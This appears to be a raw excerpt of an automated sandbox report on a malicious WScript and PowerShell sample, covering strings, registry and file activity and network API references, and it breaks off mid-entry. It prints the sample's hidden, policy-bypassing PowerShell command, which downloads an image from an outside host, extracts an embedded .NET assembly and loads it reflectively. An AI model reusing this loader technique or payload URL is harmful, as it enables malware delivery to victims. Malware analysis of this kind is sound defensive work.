00000000-00002496-00000C41-12077919209] Observed system executable string:""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J" [Source: 00000000-00002496-00000C41-12077919209], Observed system executable string:"%WINDIR%\system32\windowspowershell\v1.0\powershell_ise.exe" [Source: 00000000-00002316-00000C28-3210312378], Observed system executable string:"%WINDIR%\system32\powershell.exe.ps1" [Source: 00000000-00002316-00000C28-9716183923], Observed system executable string:"%WINDIR%\system32\powershell.exe.psm1" [Source: 00000000-00002316-00000C28-9717570086], Observed system executable string:"%WINDIR%\system32\powershell.exe.psd1" [Source: 00000000-00002316-00000C28-9718956786], Observed system executable string:"%WINDIR%\system32\powershell.exe.COM" [Source: 00000000-00002316-00000C28-9720325485], Observed system executable string:"%WINDIR%\system32\powershell.exe.EXE" [Source: 00000000-00002316-00000C28-9721683512], Observed system executable string:"%WINDIR%\system32\powershell.exe.BAT" [Source: 00000000-00002316-00000C28-9722827277], Observed system executable string:"%WINDIR%\system32\powershell.exe.CMD" [Source: 00000000-00002316-00000C28-9724236665], Observed system executable string:"%WINDIR%\system32\powershell.exe.VBS" [Source: 00000000-00002316-00000C28-9726486021], Observed system executable string:"%WINDIR%\system32\powershell.exe.VBE" [Source: 00000000-00002316-00000C28-9728219836], Observed system executable string:"%WINDIR%\system32\powershell.exe.JS" [Source: 00000000-00002316-00000C28-9729567256], Observed system executable string:"%WINDIR%\system32\powershell.exe.JSE" [Source: 00000000-00002316-00000C28-9730897223], Observed system executable string:"%WINDIR%\system32\powershell.exe.WSF" [Source: 00000000-00002316-00000C28-9732227690], Observed system executable string:"%WINDIR%\system32\powershell.exe.WSH" [Source: 00000000-00002316-00000C28-9733557890], Observed system executable string:"%WINDIR%\system32\powershell.exe.MSC" [Source: 00000000-00002316-00000C28-9734900934], Observed system executable string:"%WINDIR%\powershell.exe" [Source: 00000000-00002316-00000C28-9736258490], Observed system executable string:"%WINDIR%\powershell.exe.ps1" [Source: 00000000-00002316-00000C28-9737652464], Observed system executable string:"%WINDIR%\powershell.exe.psm1" [Source: 00000000-00002316-00000C28-9738966387], Observed system executable string:"%WINDIR%\powershell.exe.psd1" [Source: 00000000-00002316-00000C28-9740268429], Observed system executable string:"%WINDIR%\powershell.exe.COM" [Source: 00000000-00002316-00000C28-9741590917], Observed system executable string:"%WINDIR%\powershell.exe.EXE" [Source: 00000000-00002316-00000C28-9742897148], Observed system executable string:"%WINDIR%\powershell.exe.BAT" [Source: 00000000-00002316-00000C28-9744803621], Observed system executable string:"%WINDIR%\powershell.exe.CMD" [Source: 00000000-00002316-00000C28-9746130093], Observed system executable string:"%WINDIR%\powershell.exe.VBS" [Source: 00000000-00002316-00000C28-9747431304], Observed system executable string:"%WINDIR%\powershell.exe.VBE" [Source: 00000000-00002316-00000C28-9748785302], Observed system executable string:"%WINDIR%\powershell.exe.JS" [Source: 00000000-00002316-00000C28-9750266044], Observed system executable string:"%WINDIR%\powershell.exe.JSE" [Source: 00000000-00002316-00000C28-9751633972], Observed system executable string:"%WINDIR%\powershell.exe.WSF" [Source: 00000000-00002316-00000C28-9752955848], Observed system executable string:"%WINDIR%\powershell.exe.WSH" [Source: 00000000-00002316-00000C28-9754290801], Observed system executable string:"%WINDIR%\powershell.exe.MSC" [Source: 00000000-00002316-00000C28-9755602059], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe" [Source: 00000000-00002316-00000C28-9756925266], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.ps1" [Source: 00000000-00002316-00000C28-9758320871], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.psm1" [Source: 00000000-00002316-00000C28-9759687151], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.psd1" [Source: 00000000-00002316-00000C28-9761012337], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.COM" [Source: 00000000-00002316-00000C28-9763274572], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.EXE" [Source: 00000000-00002316-00000C28-9764618892], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.BAT" [Source: 00000000-00002316-00000C28-9765945776], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.CMD" [Source: 00000000-00002316-00000C28-9767303450], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.VBS" [Source: 00000000-00002316-00000C28-9768626129], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.VBE" [Source: 00000000-00002316-00000C28-9769945398], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.JS" [Source: 00000000-00002316-00000C28-9771300694], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.JSE" [Source: 00000000-00002316-00000C28-9772623676], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.WSF" [Source: 00000000-00002316-00000C28-9773954370], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.WSH" [Source: 00000000-00002316-00000C28-9775275463], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.MSC" [Source: 00000000-00002316-00000C28-9776583460], Observed system executable string:"%WINDIR%\system32\powershell.exe" [Source: 00000000-00002316-00000C28-12892208754], Observed system executable string:""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$ima" [Source: 00000000-00002316-00000C41-13175953736]37:Teb4,Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00002496-00000C25-30837205] Observed system executable string:"%WINDIR%\system32\CRYPT32.dll" [Source: 00000000-00002496-00000C25-31188041] Observed system executable string:"%WINDIR%\System32\msxml6r.dll" [Source: 00000000-00002496-00000C25-31603100] Observed system executable string:"%WINDIR%\system32\wshext.dll" [Source: 00000000-00002496-00000C25-33620228] Observed system executable string:"%WINDIR%\system32\bcryptprimitives.dll" [Source: 00000000-00002496-00000C25-34922814] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00002316-00000C25-36435836] Observed system executable string:"%WINDIR%\system32\shell32.dll" [Source: 00000000-00002316-00000C25-38492887] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00002316-00000C25-41021233] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll" [Source: 00000000-00002316-00000C25-41295271] Observed system executable string:"%WINDIR%\assembly\NativeImages_v2.0.50727_32\mscorlib\9f895c66454577eff9c77442d0c84f71\mscorlib.ni.dll" [Source: 00000000-00002316-00000C25-42305977] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v2.0.50727\ole32.dll" [Source: 00000000-00002316-00000C25-42343307] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v2.0.50727\OLEAUT32.dll" [Source: 00000000-00002316-00000C25-42462731] Observed system executable string:"%WINDIR%\assembly\NativeImages_v2.0.50727_32\System\ad92dab7f418877d6a1e0358ce35658a\System.ni.dll" [Source: 00000000-00002316-00000C25-42665050] Observed system executable string:"%WINDIR%\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" [Source: 00000000-00002316-00000C25-42961182] Observed system executable string:"%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00002316-00000C25-43204431] Observed system executable string:"%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00002316-00000C25-43330692] Observed system executable string:"%WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Core\bd9ff1a4363781a57e8f7392f230a203\System.Core.ni.dll" [Source: 00000000-00002316-00000C25-43860732] Observed system executable string:"%WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Transactions\fec007ea17ac8956cc5d6d4074dada6a\System.Transactions.ni.dll" [Source: 00000000-00002316-00000C25-44300407] Observed system executable string:"%WINDIR%\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll" [Source: 00000000-00002316-00000C25-44399302] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v2.0.50727\culture.dll" [Source: 00000000-00002316-00000C25-44933817] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v2.0.50727\en-US\mscorrc.dll" [Source: 00000000-00002316-00000C25-44966023] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v2.0.50727\en\mscorrc.dll" [Source: 00000000-00002316-00000C25-44999143] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll" [Source: 00000000-00002316-00000C25-45032254] Observed system executable string:"%WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Xml\77c1dc46ea139bf5e1eaa9b87ef03c7a\System.Xml.ni.dll" [Source: 00000000-00002316-00000C25-45214677] Observed system executable string:"%WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Management\00c2b464e52d4e82c04d61592a12a89d\System.Management.ni.dll" [Source: 00000000-00002316-00000C25-45270998]38:T7a3,Spawned process "powershell.exe" with commandline "-command "$Codigo = 'J\u265b\u265aBp\u265b\u265aG0\u265b\u265aYQ ..." (UID: 00000000-00002316), Spawned process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypass -NoProfile -command ..." (UID: 00000000-00004012, Additional Context: "C:\Windows\System32\WindowsPowerShell\v1.\powershell.exe" windowstyle hidden executionpolicy bypass NoProfile command "$imageUrl 'https://uploaddeimagens.com.br/images/4/666/683/original/js.jpg?17183864'[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>)[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) + <>.Length4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311[System.Reflection.Assembly]::Load(4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311).GetType('Fiber.Home').GetMethod('VAI').Invoke($null ('dHhLjQ2ZXNhYnlyZXZvY2VydGNhdG5vY2haXdwdGZlbGlmZGlvcmQvODkuMDUyLjI5LjE5Ly86cHRaA'; K+-zd��'r�b��+k�x"��+^�+��M�mw(v)�Q1|�R��)��r��9�@HN�I0M,��{D��xL_z��)��f�x�z�'u�N|�44��M�mw(v)�Q1|�R��)��r��9�@HN�I0")39:T7a3,Spawned process "powershell.exe" with commandline "-command "$Codigo = 'J\u265b\u265aBp\u265b\u265aG0\u265b\u265aYQ ..." (UID: 00000000-00002316), Spawned process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypass -NoProfile -command ..." (UID: 00000000-00004012, Additional Context: "C:\Windows\System32\WindowsPowerShell\v1.\powershell.exe" windowstyle hidden executionpolicy bypass NoProfile command "$imageUrl 'https://uploaddeimagens.com.br/images/4/666/683/original/js.jpg?17183864'[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>)[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) + <>.Length4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311[System.Reflection.Assembly]::Load(4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311).GetType('Fiber.Home').GetMethod('VAI').Invoke($null ('dHhLjQ2ZXNhYnlyZXZvY2VydGNhdG5vY2haXdwdGZlbGlmZGlvcmQvODkuMDUyLjI5LjE5Ly86cHRaA'; K+-zd��'r�b��+k�x"��+^�+��M�mw(v)�Q1|�R��)��r��9�@HN�I0M,��{D��xL_z��)��f�x�z�'u�N|�44��M�mw(v)�Q1|�R��)��r��9�@HN�I0")3a:T638,"WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SETUP"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{DCBFAAC3-D863-11E7-B9FF-806E6F6E6963}\"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{DCBFAAC4-D863-11E7-B9FF-806E6F6E6963}\"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SHELLCOMPATIBILITY\APPLICATIONS\WSCRIPT.EXE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE\ASSEMBLYSTORAGEROOTS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\DELEGATEFOLDERS"; Key: ""; Value: "")3b:Tf00,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SETUP"; Key: "SOURCEPATH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: "DEVICEPATH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{DCBFAAC3-D863-11E7-B9FF-806E6F6E6963}"; Key: "DATA"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{DCBFAAC3-D863-11E7-B9FF-806E6F6E6963}"; Key: "GENERATION"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{DCBFAAC4-D863-11E7-B9FF-806E6F6E6963}"; Key: "DATA"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{DCBFAAC4-D863-11E7-B9FF-806E6F6E6963}"; Key: "GENERATION"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{031E4825-7B94-4DC3-B131-E946B44C8DD5}"; Key: "SUPPRESSIONPOLICY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{04731B67-D933-450A-90E6-4ACD2E9408FE}"; Key: "SUPPRESSIONPOLICY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}"; Key: "SUPPRESSIONPOLICY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{11016101-E366-4D22-BC06-4ADA335C892B}"; Key: "SUPPRESSIONPOLICY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}"; Key: "SUPPRESSIONPOLICY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "WANTSFORDISPLAY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "HIDEFOLDERVERBS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "USEDROPHANDLER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "WANTSFORPARSING"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "WANTSPARSEDISPLAYNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "QUERYFOROVERLAY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "MAPNETDRIVEVERBS"; Value: "")3c:T733,"WScript.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "WScript.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll" "powershell.exe" touched file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\security.config" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\security.config.cch" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\enterprisesec.config" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\enterprisesec.config.cch" "powershell.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "powershell.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\U0A9651DLQGT4I9ZN4R3.temp" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFfb03c.TMP" "powershell.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "powershell.exe" touched file "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations"3d:T81a,"WScript.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL" "WScript.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL" "WScript.exe" trying to access non-existent file "C:\Windows\System32\jscript.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WindowsPowerShell\v1.0\CRYPTBASE.DLL" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WindowsPowerShell\v1.0\NTMARTA.DLL" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WindowsPowerShell\v1.0\APPHELP.DLL" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WindowsPowerShell\v1.0\LINKINFO.DLL"3e:T80c,"WScript.exe" trying to access non-existent file "\Device\RasAcd" "WScript.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WSCRIPT.EXE.LOCAL" "WScript.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WindowsPowerShell\v1.0\powershell.exe:ZONE.IDENTIFIER" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\security.config" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\security.config.cch" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\enterprisesec.config" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\enterprisesec.config.cch" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.EXE.LOCAL" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Microsoft\DESKTOP.INI" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\ProgramData\Microsoft\DESKTOP.INI" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\U0A9651DLQGT4I9ZN4R3.TEMP" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.EXE.CONFIG" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v2.0.50727\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\SECURITY.CONFIG"3f:T5f4,Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00002496-00000C26-34778573") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00002496-00000C26-34788053") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00004012-00000C26-51683835") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00004012-00000C26-57821420") Found reference to API "WinHttpOpenW" (Indicator: "WinHttpOpen"; Source: "00000000-00004012-00000C26-57822190") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00004012-00000C26-64866465") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; Source: "00000000-00004012-00000C26-64869162") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00004012-00000C26-64869162") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00004012-00000C26-64869162") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; Source: "00000000-00004012-00000C26-72038799") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00004012-00000C26-72038799") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00004012-00000C26-72256346") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00004012-00000C26-72257630")40:T7c3,"powershell.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\U0A9651DLQGT4I9ZN4R3.temp" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFfb03c.TMP" with delete access "powershell.exe" opened "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\SECURITY.CONFIG.CCH.2316.907363484" with delete access "powershell.exe" opened "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\ENTERPRISESEC.CONFIG.CCH.2316.907363484" with delete access "powershell.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Microsoft\CLR SECURITY CONFIG\V2.0.50727.312\SECURITY.CONFIG.CCH.2316.907363546" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HMJ91T85MNXB5SRG2NLH.temp" with delete access "powershell.exe" opened 